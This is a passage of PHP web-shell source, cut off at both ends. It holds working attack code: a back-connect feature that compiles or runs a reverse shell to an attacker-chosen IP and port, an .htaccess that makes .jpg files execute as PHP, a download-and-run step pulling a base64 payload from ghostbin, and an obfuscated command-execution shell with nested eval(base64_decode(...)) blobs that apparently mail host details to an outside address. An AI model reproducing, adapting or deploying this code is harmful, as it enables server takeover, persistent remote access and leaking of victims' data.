&& $yourport && $use){ if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); } m("Now script try connect to $yourip port $yourport ..."); } formhead(array('title'=>'Back Connect')); makehide('action','backconnect'); p('<p>'); p('Your IP:'); makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Your Port:'); makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Use:'); makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); p('</p>'); formfoot(); } elseif ($action == 'cgi') { mkdir('error', 0755); chdir('error'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi, 'w') or die("Can not open file!"); $metin = "Options +FollowSymLinks +Indexes
852DirectoryIndex default.html
853## START ##
854Options +ExecCGI
855AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
856AddType application/x-httpd-php .jpg
857RewriteEngine on
858RewriteRule (.*)\.war$ .log
859## END ##"; fwrite($dosya, $metin); fclose($dosya); $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw'); $file = fopen("error.log", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); chmod("error.log", 0755); echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> "; } elseif ($action == 'newcommand') { $file = fopen($dir . "command.php", "w+"); $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFy